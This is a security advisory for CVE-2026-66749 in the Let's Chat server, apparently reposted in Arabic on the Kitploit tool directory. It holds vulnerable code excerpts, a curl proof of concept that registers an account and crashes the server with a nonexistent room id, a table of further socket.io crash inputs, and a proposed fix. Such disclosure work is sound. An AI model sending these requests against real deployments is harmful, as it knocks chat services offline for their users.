Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat- — نشرة أمنية: استعلام الغرفة غير المُتحقَّق منه يؤدي إلى انهيار الخادم (Let's Chat) | Kitploit
أدوات/GitHubGitHub/theopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليم
GitHubtheopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

نشرة أمنية: استعلام الغرفة غير المُتحقَّق منه يؤدي إلى انهيار الخادم (Let's Chat)

عرض المستودع
منذ 22 أياملم تتم المراجعة بعد

نشرة أمنية: بحث عن الغرفة دون تحقّق يؤدي إلى تعطّل الخادم (Let's Chat)

معرّف CVE المعيّن: CVE-2026-66749

الملخص

طلب HTTP واحد من أي حساب مسجّل الدخول يُوقف عملية خادم Let's Chat.

يأخذ GET /messages معامل room، ويبحث عن تلك الغرفة بمعرّفها، ثم يستدعي طريقة على النتيجة دون التحقق من أن البحث أعاد أي شيء. أرسل معرّفًا يكون سلسلة hex صالحة من 24 حرفًا لكنه لا ينتمي إلى أي غرفة، فيُلقى TypeError الناتج داخل استدعاء رجعي لـ Mongoose. يلتقط Express الاستثناءات المثارة بشكل متزامن داخل المعالج فقط، لذا يصل هذا الاستثناء إلى Node كاستثناء غير ملتقط وتنتهي العملية.

الإصدارات المتأثرة

رابط المستودع: https://github.com/sdelements/lets-chat

قابلة للاستغلال من 0.4.0 (commit 84981a6، 21 فبراير 2015، الذي أدخل استدعاء canJoin) حتى 0.4.8، الإصدار النهائي. لا يوجد إصدار مُصحَّح.

تم التأكيد على 0.4.8 عند commit 617207f، وعلى docker.io/sdelements/lets-chat:latest (0.4.7)، الذي ما يزال قابلاً للسحب علنًا.

التصنيف

CWE-476: إلغاء مرجعية مؤشر فارغ (NULL Pointer Dereference)، مما يؤدي إلى CWE-248 استثناء غير ملتقط و CWE-400 استهلاك موارد غير مُتحكَّم فيه.

الدرجة الأساسية CVSS 4.0 هي 7.1 (عالية) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

نموذج التهديد

يحتاج المهاجم إلى حساب مستخدم عادي واحد ووصول شبكي إلى منفذ HTTP. لا يحتاج إلى امتلاك أي غرفة أو الانتماء إليها، أو معرفة أي معرّف غرفة موجود، أو الحصول على أي دور مرفوع الصلاحيات.

متطلب الحساب ضعيف في التثبيت الافتراضي، لأن auth.local.enableRegistration يكون افتراضيًا true في defaults.yml، لذا يمكن لأي شخص يصل إلى صفحة تسجيل الدخول إنشاء حساب ثم تنفيذ الطلب.

لا يُهيئ Procfile (web: npm start) ولا docker/docker-compose.yml عامل إشراف أو سياسة إعادة تشغيل، لذا في نشر قياسي يُوقف طلب واحد الخدمة حتى يعيد مشغّل تشغيلها. وحيث أضاف مشغّل إشرافًا على العملية، يمكن للمهاجم ببساطة تكرار الطلب.

التفاصيل التقنية

لا يسجّل المسار أي وسيط تحقق من الغرفة. app/controllers/messages.js:25-32:

root@kitploit:~
app.route('/messages')
    .all(middlewares.requireLogin)
    .get(function(req) {
        req.io.route('messages:list');
    })
    .post(function(req) {
        req.io.route('messages:create');
    });

قارن مع app/controllers/messages.js:34-41، حيث تضيف الصيغة المقيَّدة بالغرفة middlewares.roomRoute، الذي يحلّ الغرفة ويعيد 404 عندما لا تكون موجودة:

root@kitploit:~
app.route('/rooms/:room/messages')
    .all(middlewares.requireLogin, middlewares.roomRoute)

إذن على /messages تصل قيمة room إلى المُدير دون تحقق. app/core/messages.js:118-129:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {   // line 129: room may be null

يستدعي Model.findById الاستدعاء الرجعي بالقيمتين (null, null) عندما يُحوَّل المعرّف بنجاح لكنه لا يطابق أي مستند. لا يوجد حارس if (!room)، لذا يُلغي السطر 129 مرجعية null.

المخرجات المرصودة:

root@kitploit:~
events.js:174
      throw er; // Unhandled 'error' event

TypeError: Cannot read property 'canJoin' of null
    at /usr/src/app/app/core/messages.js:129:14
    at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)

إعادة الإنتاج

ضد تثبيت قياسي على المنفذ 5000، دون أي تغييرات في الإعدادات:

root@kitploit:~
BASE=http://localhost:5000

# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","email":"[email protected]",
       "password":"Passw0rd!23","password-confirm":"Passw0rd!23",
       "firstName":"M","lastName":"M","displayName":"M"}'

# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","password":"Passw0rd!23"}'

# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"

لا تُرجع الخطوة 3 أي محتوى ويخرج curl بالرمز 52 (رد فارغ من الخادم). تكون عملية الخادم قد اختفت. أي معرّف من 24 حرفًا hex ولا يطابق أي غرفة ينجح.

حالات أخرى للخلل نفسه

يسجّل express.oi كل مفتاح app.io.route(...) كمعالج socket.on(...) عادي (initRoutes في node_modules/express.oi/lib/index.js). يمكن لعميل socket.io مصادَق إذن استدعاء هذه المعالجات مباشرة، مما يتجاوز سلسلة وسائط Express بما فيها roomRoute. كما يزيل كتلة try/catch الخاصة بـ Express، لذا فإن رميًا متزامنًا كان سيعطي 500 عبر HTTP يقتل العملية عبر socket.io.

كل ما يلي ينهي العملية أيضًا. تم تأكيدها جميعًا.

الإصلاح المقترح

احمِ عمليات البحث. في app/core/messages.js:118 و app/core/files.js:156:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    if (!room) {
        return cb(null, []);
    }
    ...

يحتاج app/core/rooms.js:234 إلى المعاملة نفسها قبل استدعاء sanitizeRoom، وينبغي أن يرفض app/core/rooms.js:248 options.identifier المفقود أو غير النصي.

تغييران من شأنهما إغلاق الفئة بأكملها بدلًا من هذه الحالات فقط. أولًا، حوّل وتحقق من معاملات الاستعلام التي يُفترض أنها سلاسل نصية (expand, room, id, take, skip) عند حدود المتحكم. ثانيًا، لفّ توزيع معالج socket.io داخل try/catch وأرفِق معالجًا لـ process.on('uncaughtException') بحيث يتدهور طلب سيئ واحد إلى استجابة خطأ بدلًا من إيقاف الخادم.

تنزيل الأداة
يمكن الوصول عبرالمدخلموقع الرمي
HTTP و socket.iomessages:list مع room معيّنة إلى معرّف غير موجودapp/core/messages.js:129
HTTP و socket.iofiles:list مع room معيّنة إلى معرّف غير موجودapp/core/files.js:167
socket.iorooms:get بمعرّف غير موجود، أو دون معرّفapp/core/rooms.js:213 عبر :234
socket.iorooms:users دون غرفةapp/core/rooms.js:248
socket.iorooms:join دون معرّفapp/core/rooms.js:248
socket.iomessages:list مع expand كمصفوفةapp/core/messages.js:97
socket.iofiles:list مع expand كمصفوفةapp/core/files.js:139
socket.iousers:get مع id ككائنapp/models/user.js:139